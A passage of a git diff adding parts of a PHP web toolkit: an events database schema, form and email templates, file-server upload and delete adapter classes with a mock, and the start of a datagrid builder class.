+ds          timestamp,
+daysow      INTEGER,
+dayom       INTEGER,
+reacur      BOOLEAN DEFAULT false,
+weekom      TEXT,
+all_day     BOOLEAN DEFAULT false,
+file        TEXT,
+filename    TEXT,
+member_id   INTEGER REFERENCES member (member_id) ON DELETE CASCADE
+);
+
+CREATE TABLE topic (
+id          SERIAL PRIMARY KEY, 
+descr       TEXT,
+topiccolor  TEXT
+);
diff --git a/Toolkit/Events/templates/currentTables/Element.tpl b/Toolkit/Events/templates/currentTables/Element.tpl
new file mode 100755 (executable)
index 0000000..595457b
--- /dev/null
@@ -0,0 +1,14 @@
+<tr>
+       <td class="labelcell">
+               <!-- BEGIN required -->
+               <span class="req">*</span>
+               <!-- END required -->
+               <label>{label}</label>
+       </td>
+       <td class="fieldcell">
+               <!-- BEGIN error -->
+               <div class="req"> {error} </div>
+               <!-- END error -->
+               {element}
+       </td>
+</tr>
diff --git a/Toolkit/Events/templates/currentTables/Form.tpl b/Toolkit/Events/templates/currentTables/Form.tpl
new file mode 100755 (executable)
index 0000000..f59286a
--- /dev/null
@@ -0,0 +1,7 @@
+<div id="contact">
+       <form{attributes}>
+               <table>
+                       {content}
+               </table>
+       </form>
+</div>
diff --git a/Toolkit/Events/templates/currentTables/Group.tpl b/Toolkit/Events/templates/currentTables/Group.tpl
new file mode 100755 (executable)
index 0000000..cdd24cf
--- /dev/null
@@ -0,0 +1,5 @@
+<table class="group">
+       <tbody>
+               {content}
+       </tbody>
+</table>
diff --git a/Toolkit/Events/templates/currentTables/GroupElement.tpl b/Toolkit/Events/templates/currentTables/GroupElement.tpl
new file mode 100755 (executable)
index 0000000..1a4ba27
--- /dev/null
@@ -0,0 +1,9 @@
+<tr>
+       <td>
+               {element}
+               <!-- BEGIN required -->
+               <span class="req">*</span>
+               <!-- END required -->
+               {label}
+       </td>
+</tr>
diff --git a/Toolkit/Events/templates/currentTables/Header.tpl b/Toolkit/Events/templates/currentTables/Header.tpl
new file mode 100755 (executable)
index 0000000..64ac244
--- /dev/null
@@ -0,0 +1,5 @@
+<tr class="hdr">
+       <td colspan="2">
+               {header}
+       </td>
+</tr>
diff --git a/Toolkit/Events/templates/currentTables/RequiredNote.tpl b/Toolkit/Events/templates/currentTables/RequiredNote.tpl
new file mode 100755 (executable)
index 0000000..dad5d0b
--- /dev/null
@@ -0,0 +1 @@
+<span class="req">* = Required Fields</span>
diff --git a/Toolkit/Events/templates/emailOwner.tpl b/Toolkit/Events/templates/emailOwner.tpl
new file mode 100755 (executable)
index 0000000..d7d8d76
--- /dev/null
@@ -0,0 +1,29 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+       <meta http-equiv="content-type" content="text/html;charset=utf-8">
+       <title>{title:h}</title>
+</head>
+<body>
+       <style>
+               td {line-height:13px;}
+       </style>
+       <h2>{subject:h}</h2>
+       <h3>Information</h3>
+       <table cellspacing="0" cellpadding="0" width="500" style="border:1px solid #ccc;border-collapse:collapse;">
+               <tbody>
+                       <tr flexy:foreach="formData,v">
+                               <td flexy:if="v[element]" style="font-weight:bold;width:200px;padding:5px;border:1px solid #ccc;" align="right">{v[label]:h}</td>
+                               {if:v[nowrap]}
+                                       <td flexy:if="v[element]" nowrap style="padding:3px;border:1px solid #ccc;">{v[element]:h}</td>
+                               {else:}
+                                       <td flexy:if="v[element]" style="padding:3px;border:1px solid #ccc;">{v[element]:h}</td>
+                               {end:}
+                       </tr>
+               </tbody>
+       </table>
+    <p>A new Event Record has been created from "Add Your Event"</p>
+       <p>The record needs to be approved before changes go live.</p>
+       <p>Goto <a href="{eventAdminURL}">Pending Records</a> to View and Approve their changes.</p>
+</body>
+</html>
diff --git a/Toolkit/FileServer/AdapterAbstract.php b/Toolkit/FileServer/AdapterAbstract.php
new file mode 100644 (file)
index 0000000..92494cc
--- /dev/null
@@ -0,0 +1,401 @@
+<?php
+
+/**
+ * Adapter class for linking to the file server
+ *
+ * Base abstract class used to connect and talk with file server
+ * can be subclassed for Files, Images, Video, Audio, etc...
+ *
+ * PHP version 5
+ *
+ * The license text...
+ *
+ * @category  FileServer
+ * @package   Toolkit_FileServer
+ * @author    Jamie Kahgee <jamie@gaslightmedia.com>
+ * @copyright 2010 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com/ Gaslightmedia
+ * @version   CVS: $Id: AdapterAbstract.php,v 1.1 2012/02/03 19:04:13 matrix Exp $
+ * @link      <>
+ * @see       References to other sections (if any)...
+ */
+
+
+/**
+ * Validation Secret
+ */
+define('IS_VALIDATE_SECRET', 'Glm0IS1secreT');
+
+/**
+ * URL to file server, this is dynamic based on the server
+ * so can be setup for any sandbox
+ */
+define('IS_SUBMIT_URL', FILE_SERVER_URL . 'submit.phtml');
+
+/**
+ * Adapter class for linking to the file server
+ *
+ * @category  FileServer
+ * @package   Toolkit_FileServer
+ * @author    Jamie Kahgee <jamie@gaslightmedia.com>
+ * @copyright 2010 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com/ Gaslightmedia
+ * @version   Release: @package_version@
+ * @link      <>
+ * @see       References to other sections (if any)...
+ */
+abstract class Toolkit_FileServer_AdapterAbstract
+{
+       //      {{{     properties
+
+    /**
+     * ID of owner that was setup in the file server
+        *
+        * This is defined via the file server web interface
+     * @var    string
+     * @access protected
+     */
+    protected $ownerID;
+
+    /**
+     * Owners password that was setup for them
+        *
+        * This is defined via the file server web interface
+     * @var    string
+     * @access protected
+     */
+    protected $ownerPW;
+
+    /**
+     * XML to send to the file server
+     * @var    unknown
+     * @access protected
+     */
+    protected $xml;
+
+       //      }}}
+       //      {{{     __construct()
+
+    /**
+     * Constructor
+     *
+     * @param string $owner File Server owner
+     * @param string $pword File Server owner password
+     */
+    public function __construct($owner = IS_OWNER_ID, $pword = IS_OWNER_PW)
+    {
+        $this->ownerID = $owner;
+        $this->ownerPW = $pword;
+    }
+
+       //      }}}
+
+    //  {{{ buildFileServerXML()
+
+    /**
+     * buildFileServerXML
+     *
+     * Create the xml for the FileServerRequest
+     *
+     * @param string $fName File name to upload or delete
+     * @param string $type  Upload, Delete or URL
+     *
+     * @return string xml content
+     * @access protected
+     */
+    protected function buildFileServerXML($fName, $type)
+    {
+        $xml = new DOMDocument('1.0');
+        $xml->formatOutput = true;
+
+        $fileServerRequest = $xml->createElement('FileServerRequest');
+        $fileServerRequest->setAttribute('version', '1.0');
+
+        //  access request
+        $accessRequest = $xml->createElement('AccessRequest');
+        $owner         = $xml->createElement('Owner');
+        $ownerID       = $xml->createElement('OwnerID', $this->ownerID);
+        $ownerPW       = $xml->createElement('OwnerPW', $this->ownerPW);
+
+        $owner->appendChild($ownerID);
+        $owner->appendChild($ownerPW);
+
+        $accessRequest->appendChild($owner);
+
+        $fileServerRequest->appendChild($accessRequest);
+
+        $file = $this->getFileElement($xml, $type, $fName);
+
+        $fileServerRequest->appendChild($file);
+        $validStr = md5($this->ownerID . $this->ownerPW . IS_VALIDATE_SECRET);
+
+        $validation = $xml->createElement('Validation', $validStr);
+        $fileServerRequest->appendChild($validation);
+        $xml->appendChild($fileServerRequest);
+
+        return $xml->saveXML($xml);
+    }
+
+    // }}}
+
+       //      {{{     delete()
+
+    /**
+     * Delete a file from the file server
+     *
+     * @param string $name File name
+     *
+     * @return string file name
+     * @access public
+        * @throws Toolkit_FileServer_Exception
+     */
+    public function delete($name)
+    {
+        $ch = curl_init();
+
+        $fileData = array(
+            'request' => $this->buildFileServerXML($name, 'Delete')
+        );
+        $curlOptions = array(
+            CURLOPT_URL            => IS_SUBMIT_URL,
+            CURLOPT_HEADER         => 0,
+            CURLOPT_RETURNTRANSFER => 1,
+            CURLOPT_POSTFIELDS     => $fileData
+        );
+        curl_setopt_array($ch, $curlOptions);
+
+        $response = curl_exec($ch);
+        curl_close($ch);
+
+        try {
+            $xmlDoc   = new DOMDocument;
+            $response = str_replace('<?xml version="1.0"?' . '>', '', $response);
+            $xmlDoc->loadXML($response);
+            $successCode = $this->xmlPathContent(
+                $xmlDoc,
+                '/FileServerResponse/ReplyStatus/SuccessCode'
+            );
+            $message     = $this->xmlPathContent(
+                $xmlDoc,
+                '/FileServerResponse/ReplyStatus/Message'
+            );
+
+            if ($successCode != 0) {
+                throw new RangeException(
+                                       "Invalid response `$response` - `$message`"
+                               );
+            }
+
+            return $message;
+        } catch (RangeException $e) {
+            Toolkit_Logger::logException('Image Server', $e);
+            throw new Toolkit_FileServer_Exception(
+                               'Invalid File Server Response'
+                       );
+        }
+    }
+
+       //      }}}
+
+       //      {{{     getFileElement()
+
+
+    /**
+     * Gets the file element used in the XML sent to the file server
+     *
+     * @param DOMDocument $xml   DOM object used to build the xml string
+     * @param string      $type  Type of manipulation (Upload, URL, Delete)
+     * @param string      $fName File name
+        *
+     * @return DOMElement $file File xml element
+     * @access protected
+     */
+    abstract protected function getFileElement(
+        DOMDocument $xml,
+        $type,
+        $fName
+    );
+
+       //      }}}
+       //      {{{     getErrorMessage()
+
+       /**
+        * Gets an appropriate error message for file upload errors
+        *
+        * @param integer Error code
+        *
+        * @return string Error message
+        * @access protected
+        */
+       protected function getErrorMessage($code)
+       {
+               switch ($code) {
+               case UPLOAD_ERR_INI_SIZE :
+                       $message = 'The Uploaded file exceeds the upload max filesize directive in php.ini';
+                       break;
+
+               case UPLOAD_ERR_FORM_SIZE :
+                       $message = 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form';
+                       break;
+
+               case UPLOAD_ERR_PARTIAL :
+                       $message = 'The uploaded file was only partially uploaded';
+                       break;
+
+               case UPLOAD_ERR_NO_FILE :
+                       $message = 'No file was uploaded';
+                       break;
+
+               case UPLOAD_ERR_NO_TMP_DIR :
+                       $message = 'Missing a temporary folder';
+                       break;
+
+               case UPLOAD_ERR_CANT_WRITE :
+                       $message = 'Failed to write file to disk';
+                       break;
+
+               case UPLOAD_ERR_EXTENSION :
+                       $message = 'A PHP extension stopped the file upload';
+                       break;
+
+               default :
+                       $message = 'Unknown error uploading file';
+                       break;
+               }
+
+               return $message;
+       }
+
+       //      }}}
+
+       //      {{{     upload()
+
+    /**
+     * Upload a file to the File Server
+     *
+     * @param string $name $_FILES index key that holds the file data
+     *
+     * @return array Uploaded file data
+     * @access public
+     * @throws Toolkit_FileServer_Exception
+     */
+    public function upload($name)
+    {
+        $fileType = null;
+        if (preg_match('/^http/', $name)) {
+            $fileType = 'URL';
+        } elseif (isset($_FILES[$name]) && is_array($_FILES[$name])) {
+            $fileType = 'Upload';
+        }
+
+               if ($_FILES[$name]['error'] != 0) {
+                       $message = $this->getErrorMessage($_FILES[$name]['error']);
+                       throw new Toolkit_FileServer_Exception(
+                               $message,
+                               $_FILES[$name]['error']
+                       );
+               }
+
+        if (is_null($fileType)) {
+            return false;
+        } else {
+            $request = $this->buildFileServerXML($name, $fileType);
+
+            $ch = curl_init();
+            if ($fileType == 'URL') {
+                $fileData = array(
+                    'request' => $request
+                );
+            } else {
+                $fileData = array(
+                    'request'          => $request,
+                    'file_upload'      => "@{$_FILES[$name]['tmp_name']}",
+                    'file_upload_name' => $_FILES[$name]['name']
+                );
+            }
+
+            $curlOptions = array(
+                CURLOPT_URL            => IS_SUBMIT_URL,
+                CURLOPT_HEADER         => 0,
+                CURLOPT_RETURNTRANSFER => 1,
+                CURLOPT_POSTFIELDS     => $fileData
+            );
+            curl_setopt_array($ch, $curlOptions);
+
+            $response = curl_exec($ch);
+            curl_close($ch);
+
+            try {
+                $xmlDoc = new DOMDocument();
+                $response = str_replace('<?xml version="1.0"?' . '>', '', $response);
+                $xmlDoc->loadXML($response);
+                $successCode = $this->xmlPathContent(
+                    $xmlDoc,
+                    '/FileServerResponse/ReplyStatus/SuccessCode'
+                );
+                $message     = $this->xmlPathContent(
+                    $xmlDoc,
+                    '/FileServerResponse/ReplyStatus/Message'
+                );
+                $storedName  = $this->xmlPathContent(
+                    $xmlDoc,
+                    '/FileServerResponse/File/StoredName'
+                );
+                $storedSize  = $this->xmlPathContent(
+                    $xmlDoc,
+                    '/FileServerResponse/File/StoredSize'
+                );
+                $mediaType   = $this->xmlPathContent(
+                    $xmlDoc,
+                    '/FileServerResponse/File/MediaType'
+                );
+
+                if ($successCode != 0) {
+                    throw new RangeException(
+                                               "Invalid response `$response` - `$message`"
+                                       );
+                }
+
+                               $extension = end(explode('.', $storedName));
+                return array(
+                    'name' => $storedName,
+                    'size' => $storedSize,
+                    'type' => $mediaType,
+                                       'extension' => $extension,
+                );
+            } catch (RangeException $e) {
+                Toolkit_Logger::logException('Image Server', $e);
+                throw new Toolkit_FileServer_Exception(
+                                       'Invalid File Server Response'
+                               );
+            }
+        }
+    }
+
+       //      }}}
+
+       //      {{{     xmlPathContent()
+
+    /**
+     * Extract a XML node value
+     *
+     * @param DOMDocument $dom     DOM object holding the XML
+     * @param string      $content Node name to extract content from
+        *
+     * @return mixed Node value on success, false if can't find the value
+     * @access protected
+     */
+    protected function xmlPathContent(DOMDocument $dom, $content)
+    {
+        $xPath = new DOMXPath($dom);
+        $nodeList = $xPath->query($content);
+        if ($nodeList->length > 0) {
+            $node = $nodeList->item(0);
+            return $node->nodeValue;
+        }
+
+        return false;
+    }
+
+       //      }}}
+}
diff --git a/Toolkit/FileServer/Exception.php b/Toolkit/FileServer/Exception.php
new file mode 100644 (file)
index 0000000..8739c0f
--- /dev/null
@@ -0,0 +1,5 @@
+<?php
+class Toolkit_FileServer_Exception extends RuntimeException
+{
+}
+?>
diff --git a/Toolkit/FileServer/FileAdapter.php b/Toolkit/FileServer/FileAdapter.php
new file mode 100644 (file)
index 0000000..14ea220
--- /dev/null
@@ -0,0 +1,101 @@
+<?php
+
+/**
+ * File Adapter
+ *
+ * Link to the file server and allow file storage and deletion
+ *
+ * PHP version 5
+ *
+ * @category  FileServer
+ * @package   Toolkit_FileServer
+ * @author    Jamie Kahgee <jamie@gaslightmedia.com>
+ * @copyright 2010 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com/ Gaslightmedia
+ * @version   CVS: $Id: FileAdapter.php,v 1.1 2012/02/03 19:04:13 matrix Exp $
+ * @link      <>
+ * @see       References to other sections (if any)...
+ */
+
+/**
+ * File Adapter
+ *
+ * Used for linking to the file server for file uploading, storage and deletion
+ *
+ * @category  FileServer
+ * @package   Toolkit_FileServer
+ * @author    Jamie Kahgee <jamie@gaslightmedia.com>
+ * @copyright 2010 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com/ Gaslightmedia
+ * @version   Release: @package_version@
+ * @link      <>
+ * @see       References to other sections (if any)...
+ */
+class Toolkit_FileServer_FileAdapter extends Toolkit_FileServer_AdapterAbstract
+{
+       //      {{{     getFileElement()
+
+    /**
+     * Creates the file element for the XML string
+     *
+     * @param DOMDocument $xml   XML object used to build the string
+     * @param string      $type  Type of action to take on the file (Upload, Delete)
+     * @param string      $fName file name to delete
+     *
+     * @return DOMElement $file File xml element
+     * @access protected
+     * @throws RuntimeException
+     */
+    protected function getFileElement(DOMDocument $xml, $type, $fName)
+    {
+        $file = $xml->createElement('File');
+
+        switch ($type) {
+               case 'Upload' :
+                       $action    = $xml->createElement('FileAction', 'Submit');
+                       $delivery  = $xml->createElement('DeliveryMethod', 'Submit');
+                       $fieldName = $xml->createElement('FieldName', 'file_upload');
+
+                       $fileName = filter_var($_FILES[$fName]['name'], FILTER_SANITIZE_STRING);
+                       $nameParts = explode('.', $fileName);
+                       $extension = end($nameParts);
+                       $fieldName = $xml->createElement('Extension', end($nameParts));
+
+                       $file->appendChild($action);
+                       $file->appendChild($delivery);
+                       $file->appendChild($fieldName);
+                       break;
+
+               case 'URL':
+                       $action   = $xml->createElement('FileAction', 'Submit');
+                       $delivery = $xml->createElement('DeliveryMethod', 'URL');
+                       $src      = $xml->createElement('Src', $fName);
+
+                       $nameParts = explode('.', $fName);
+                       $extension = end($nameParts);
+                       $fieldName = $xml->createElement('Extension', end($nameParts));
+
+                       $file->appendChild($action);
+                       $file->appendChild($delivery);
+                       $file->appendChild($src);
+                       $file->appendChild($fieldName);
+                       break;
+
+               case 'Delete' :
+                       $action = $xml->createElement('FileAction', 'Delete');
+                       $file->appendChild($action);
+
+                       $fileName = $xml->createElement('FileName', $fName);
+                       $file->appendChild($fileName);
+                       break;
+
+               default :
+                       throw new RuntimeException("Invalid XML type - `$type`.");
+                       break;
+        }
+
+        return $file;
+    }
+
+       //      }}}
+}
diff --git a/Toolkit/FileServer/ImageAdapter.php b/Toolkit/FileServer/ImageAdapter.php
new file mode 100644 (file)
index 0000000..0d31fab
--- /dev/null
@@ -0,0 +1,248 @@
+<?php
+
+/**
+ * Image Adapter
+ *
+ * Link to the file server and allow image storage and deletion
+ *
+ * PHP version 5
+ *
+ * @category  FileServer
+ * @package   Toolkit_FileServer
+ * @author    Jamie Kahgee <jamie@gaslightmedia.com>
+ * @copyright 2010 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com/ Gaslightmedia
+ * @version   CVS: $Id: ImageAdapter.php,v 1.1 2012/02/03 19:04:13 matrix Exp $
+ * @link      <>
+ * @see       References to other sections (if any)...
+ */
+
+/**
+ * Image Adapter
+ *
+ * Used for linking to the file server for image uploading, storage and deletion
+ *
+ * @category  FileServer
+ * @package   Toolkit_FileServer
+ * @author    Jamie Kahgee <jamie@gaslightmedia.com>
+ * @copyright 2010 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com/ Gaslightmedia
+ * @version   Release: @package_version@
+ * @link      <>
+ * @see       References to other sections (if any)...
+ */
+class Toolkit_FileServer_ImageAdapter extends Toolkit_FileServer_AdapterAbstract
+{
+       //      {{{     getAllowedMimeTypes()
+
+       /**
+        * Get the mime types that are allowed to be uploaded
+        *
+        * @return array allowed mime types
+        */
+       public function getAllowedMimeTypes()
+       {
+               return array(
+                       'image/jpe',
+                       'image/jpeg',
+                       'image/jpg',
+                       'image/jfif',
+                       'image/pjpeg',
+                       'image/pjp',
+                       'image/gif',
+                       'image/gif',
+                       'image/png',
+               );
+       }
+
+       //      }}}
+       //      {{{     getFileElement()
+
+    /**
+     * Creates the file element for the XML string
+     *
+     * @param DOMDocument $xml   XML object used to build the string
+     * @param string      $type  Type of action to take on the file (Upload, Delete)
+     * @param string      $fName file name to delete
+     *
+     * @return DOMElement $file File xml element
+     * @access protected
+     * @throws RuntimeException
+     */
+    protected function getFileElement(DOMDocument $xml, $type, $fName)
+    {
+        $file = $xml->createElement('File');
+
+        switch ($type) {
+               case 'Upload' :
+                       $action    = $xml->createElement('FileAction', 'Submit');
+                       $delivery  = $xml->createElement('DeliveryMethod', 'Submit');
+                       $fieldName = $xml->createElement('FieldName', 'file_upload');
+
+                       $file->appendChild($action);
+                       $file->appendChild($delivery);
+                       $file->appendChild($fieldName);
+                       break;
+
+               case 'URL':
+                       $action   = $xml->createElement('FileAction', 'Submit');
+                       $delivery = $xml->createElement('DeliveryMethod', 'URL');
+                       $src      = $xml->createElement('Src', $fName);
+
+                       $file->appendChild($action);
+                       $file->appendChild($delivery);
+                       $file->appendChild($src);
+                       break;
+
+               case 'Delete':
+                       $action = $xml->createElement('FileAction', 'Delete');
+                       $file->appendChild($action);
+
+                       $fileName = $xml->createElement('FileName', $fName);
+                       $file->appendChild($fileName);
+                       break;
+
+               default :
+                       throw new RuntimeException("Invalid XML type - `$type`.");
+                       break;
+        }
+
+        return $file;
+    }
+
+       //      }}}
+    //  {{{ getImageSize()
+
+    /**
+     * getImageSize
+     *
+     * Return image data on an image from image server
+     *
+     * @param string $image Full URI to image
+     *                      http://is0/userId/imageStyle/imageName
+     *                      Must be a full URI including an authority.
+     *                      No relative URIs, the // are mandatory
+     *
+     * @return array Image data 0 => width, 1 => height, 2 => html
+     * @access public
+     * @throws Exception
+     */
+    public function getImageSize($image)
+    {
+        $options = array('allowed_schemes' => array('http','https'));
+        if (!Validate::uri($image, $options)) {
+            throw new Exception('Invalid URI for the image');
+        }
+
+        $ch          = curl_init();
+        $curlOptions = array(
+            CURLOPT_URL            => "{$image}/info",
+            CURLOPT_HEADER         => 0,
+            CURLOPT_RETURNTRANSFER => 1,
+            CURLOPT_POSTFIELDS     => $fileData
+        );
+        curl_setopt_array($ch, $curlOptions);
+
+        $response = curl_exec($ch);
+        curl_close($ch);
+
+               if (!@simplexml_load_string($response)) {
+                       $logger = Toolkit_Logger::getLogger();
+                       $logger->warning("$response - $image");
+               }
+
+        $wPattern = '/<width>(.*)<\/width>/';
+        preg_match($wPattern, $response, $matches);
+        $width    = $matches[1];
+        $hPattern = '/<height>(.*)<\/height>/';
+        preg_match($hPattern, $response, $matches);
+        $height = $matches[1];
+        $html   = "width=\"{$width}\" height=\"{$height}\"";
+        return array($width, $height, $html);
+    }
+
+    //  }}}
+       //      {{{     uploadImageFile()
+
+    /**
+     * Upload a file to the File Server
+     *
+     * @param string $fname full path to image file
+     *
+     * @return array Uploaded file data
+     * @access public
+     * @throws Toolkit_FileServer_Exception
+     */
+    public function uploadImageFile($fname)
+    {
+               if (!file_exists($fname)) {
+                       throw new RuntimeException("could not find file `$fname`");
+               }
+
+               $request = $this->buildFileServerXML(basename($fname), 'Upload');
+
+               $ch = curl_init();
+               $fileData = array(
+                       'request'          => $request,
+                       'file_upload'      => "@$fname",
+                       'file_upload_name' => basename($fname)
+               );
+
+               $curlOptions = array(
+                       CURLOPT_URL            => IS_SUBMIT_URL,
+                       CURLOPT_HEADER         => 0,
+                       CURLOPT_RETURNTRANSFER => 1,
+                       CURLOPT_POSTFIELDS     => $fileData
+               );
+               curl_setopt_array($ch, $curlOptions);
+
+               $response = curl_exec($ch);
+               curl_close($ch);
+
+               try {
+                       $xmlDoc = new DOMDocument();
+                       $response = str_replace('<?xml version="1.0"?'. '>', '', $response);
+                       $xmlDoc->loadXML($response);
+                       $successCode = $this->xmlPathContent(
+                               $xmlDoc,
+                               '/FileServerResponse/ReplyStatus/SuccessCode'
+                       );
+                       $message     = $this->xmlPathContent(
+                               $xmlDoc,
+                               '/FileServerResponse/ReplyStatus/Message'
+                       );
+                       $storedName  = $this->xmlPathContent(
+                               $xmlDoc,
+                               '/FileServerResponse/File/StoredName'
+                       );
+                       $storedSize  = $this->xmlPathContent(
+                               $xmlDoc,
+                               '/FileServerResponse/File/StoredSize'
+                       );
+                       $mediaType   = $this->xmlPathContent(
+                               $xmlDoc,
+                               '/FileServerResponse/File/MediaType'
+                       );
+
+                       if ($successCode != 0) {
+                               throw new RangeException(
+                                       "Invalid response `$response` - `$message`"
+                               );
+                       }
+
+                       return array(
+                               'name' => $storedName,
+                               'size' => $storedSize,
+                               'type' => $mediaType,
+                       );
+               } catch (RangeException $e) {
+                       Toolkit_Logger::logException('Image Server', $e);
+                       throw new Toolkit_FileServer_Exception(
+                               'Invalid File Server Response'
+                       );
+               }
+    }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/FileServer/Mock/ImageAdapter.php b/Toolkit/FileServer/Mock/ImageAdapter.php
new file mode 100644 (file)
index 0000000..9479eef
--- /dev/null
@@ -0,0 +1,125 @@
+<?php
+
+/**
+ * Mock Image Adapter
+ *
+ * Mocks uploading and deleting images from the image server
+ * This script prevents unneeded resources from being uploaded
+ * or deleted from the file server
+ *
+ * PHP version 5
+ *
+ * @category  FileServer
+ * @package   Toolkit_FileServer
+ * @author    Jamie Kahgee <jamie@gaslightmedia.com>
+ * @copyright 2010 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com/ Gaslightmedia
+ * @version   CVS: $Id: ImageAdapter.php,v 1.1 2012/02/03 19:04:13 matrix Exp $
+ * @link      <>
+ * @see       References to other sections (if any)...
+ */
+
+/**
+ * Mock Image Adapter
+ *
+ * Mocks uploading and deleting images from the image server
+ * This script prevents unneeded resources from being uploaded
+ * or deleted from the file server
+ *
+ * @category  FileServer
+ * @package   Toolkit_FileServer
+ * @author    Jamie Kahgee <jamie@gaslightmedia.com>
+ * @copyright 2010 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com/ Gaslightmedia
+ * @version   Release: @package_version@
+ * @link      <>
+ * @see       References to other sections (if any)...
+ */
+class Toolkit_FileServer_Mock_ImageAdapter
+       extends Toolkit_FileServer_ImageAdapter
+{
+    //  {{{ getImageSize()
+
+    /**
+     * getImageSize
+     *
+     * Return image data on an image from image server
+     *
+     * @param string $image Full URI to image
+     *                      http://is0/userId/imageStyle/imageName
+     *                      Must be a full URI including an authority.
+     *                      No relative URIs, the // are mandatory
+     *
+     * @return array Image data 0 => width, 1 => height, 2 => html
+     * @access public
+     * @throws Exception
+     */
+    public function getImageSize($image)
+    {
+               $width = $height = 1;
+        $html   = "width=\"{$width}\" height=\"{$height}\"";
+        return array($width, $height, $html);
+    }
+
+    //  }}}
+       //      {{{     uploadImageFile()
+
+    /**
+     * Upload a file to the File Server
+     *
+     * @param string $fname full path to image file
+     *
+     * @return array Uploaded file data
+     * @access public
+     * @throws Toolkit_FileServer_Exception
+     */
+    public function uploadImageFile($fname)
+    {
+               return array(
+                       'name' => 'is00-mock-image.jpg',
+                       'size' => 100,
+                       'type' => 'image/jpeg',
+               );
+    }
+
+       //      }}}
+       //      {{{     upload()
+
+    /**
+     * Upload a file to the File Server
+     *
+     * @param string $name $_FILES index key that holds the file data
+     *
+     * @return array Uploaded file data
+     * @access public
+     * @throws Toolkit_FileServer_Exception
+     */
+    public function upload($name)
+    {
+               return array(
+                       'name' => 'is00-mock-image.jpg',
+                       'size' => 100,
+                       'type' => 'image/jpeg',
+               );
+    }
+
+       //      }}}
+       //      {{{     delete()
+
+    /**
+     * Delete a file from the file server
+     *
+     * @param string $name File name
+     *
+     * @return string file name
+     * @access public
+        * @throws Toolkit_FileServer_Exception
+     */
+    public function delete($name)
+    {
+               return true;
+    }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/FlexyDataGridBuilder.php b/Toolkit/FlexyDataGridBuilder.php
new file mode 100644 (file)
index 0000000..4127582
--- /dev/null
@@ -0,0 +1,207 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Create Flexy templating Datagrids for displaying data
+ *
+ * PHP version 5
+ *
+ * @category Structures
+ * @package  Toolkit_FlexyDataGridBuilder
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version     CVS: $Id: FlexyDataGridBuilder.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        <>
+ */
+
+/**
+ * Create Flexy templating Datagrids for displaying data
+ *
+ * This abstract class handles all the base functionality of creating
+ * handeling all the details associated w/ a Flexy template datagrid
+ * 1. Creation
+ * 2. Sorting (via column headers or sortform)
+ * 3. Pagenation
+ *
+ * @category  Structures
+ * @package      Toolkit_FlexyDataGridBuilder
+ * @author       Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license   http://www.gaslightmedia.com/Gaslightmedia Gaslightmedia
+ * @link         http://pear.php.net/package/Structures_DataGrid/docs
+ * @see                  Structures_DataGrid_Renderer_Flexy, HTML_Template_Flexy
+ */
+abstract class Toolkit_FlexyDataGridBuilder extends Toolkit_DataGridBuilder
+{
+       //      {{{ properties
+
+       /**
+        * Name of the table which we will be dealing with
+        *
+        * @var string
+        * @access protected
+        */
+       protected $tableName;
+
+       /**
+        * The name of the template that renders this datagrid
+        *
+        * @var string
+        * @access protected
+        */
+       protected $template;
+
+       /**
+        * Output an object as $t to the template
+        *
+        * converts array keys to objects usable in a template form.
+        *
+        * <code>
+        *   $this->ctrlObj['url'] = BASE_URL;
+        * </code>
+        *
+        * <example>
+        *   <img alt="{row[img]} src="{url}images/member_thumb/{row[img]}">
+        * </example>
+        *
+        * @var array
+        * @access protected
+        */
+       protected $ctrlObj = array();
+
+    /**
+     * Rendering options for DataGrid
+        *
+     * @var    array    
+     * @access protected
+     */
+       protected $rendererOptions = array(
+               'sortIconASC' => '&uArr;',
+               'sortIconDESC'  => '&dArr;',
+               'sortingResetsPaging' => false,
+       );
+
+    /**
+     * The HTML id of the DataGrid
+        *
+     * @var    string   
+     * @access protected
+     */
+       protected $gridId = 'dataGrid';
+
+    /**
+     * The HTML class of the DataGrid
+        *
+     * @var    string   
+     * @access protected
+     */
+       protected $gridClass = 'dataGrid';
+
+       //      }}}
+       //      {{{ __construct()
+
+    /**
+     * Constructor
+     * 
+     * Builds the DataGrid class.
+     * 
+        * @param PDO     $pdo          PDO object used in the datagrid
+     * @param integer $limit        The number of records to display per page.
+     * @param integer $page         The current page view. In most cases,
+        *                                                              this is useless. Note: if you specify
+        *                                                              this, the "page"GET variable will be ignored.
+     * @param string  $rendererType The type of renderer to use. You may
+        *                                                              prefer to use the $type argument of
+        *                                                              render, fill or getOutput.
+        *
+     * @return void   
+     * @access public 
+     */
+       public function __construct(
+        PDO $pdo,
+        $limit = null,
+        $page = null,
+        $rendererType = null
+    ) {
+        $this->dbh = $pdo;
+               if (ctype_digit($_GET['setPerPage'])) {
+                       $limit = $_GET['setPerPage'];
+               }
+
+               parent::__construct($pdo, $limit, $page, $rendererType);
+
+               //      If all records show on one page, then hide sort form.
+               if (!is_null($limit)) {
+                       $this->sortableAfter = $limit;
+               }
+       }
+
+       //      }}}
+
+       //      {{{ show()
+
+    /**
+     * Displays the DataGrid results
+     * 
+     * @param Structures_DataGrid_Renderer_Flexy $renderer Rendering engine used to render DG
+     *
+     * @return void  
+     * @access public
+     */
+       public function show(Structures_DataGrid_Renderer_Flexy $renderer)
+       {
+               echo $this->toHtml($renderer);
+       }
+       
+       //      }}}
+
+       //      {{{ toHtml()
+
+    /**
+     * Returns the DataGrid
+     * 
+     * @param Structures_DataGrid_Renderer_Flexy $renderer Rendering engine used to render DG
+     *
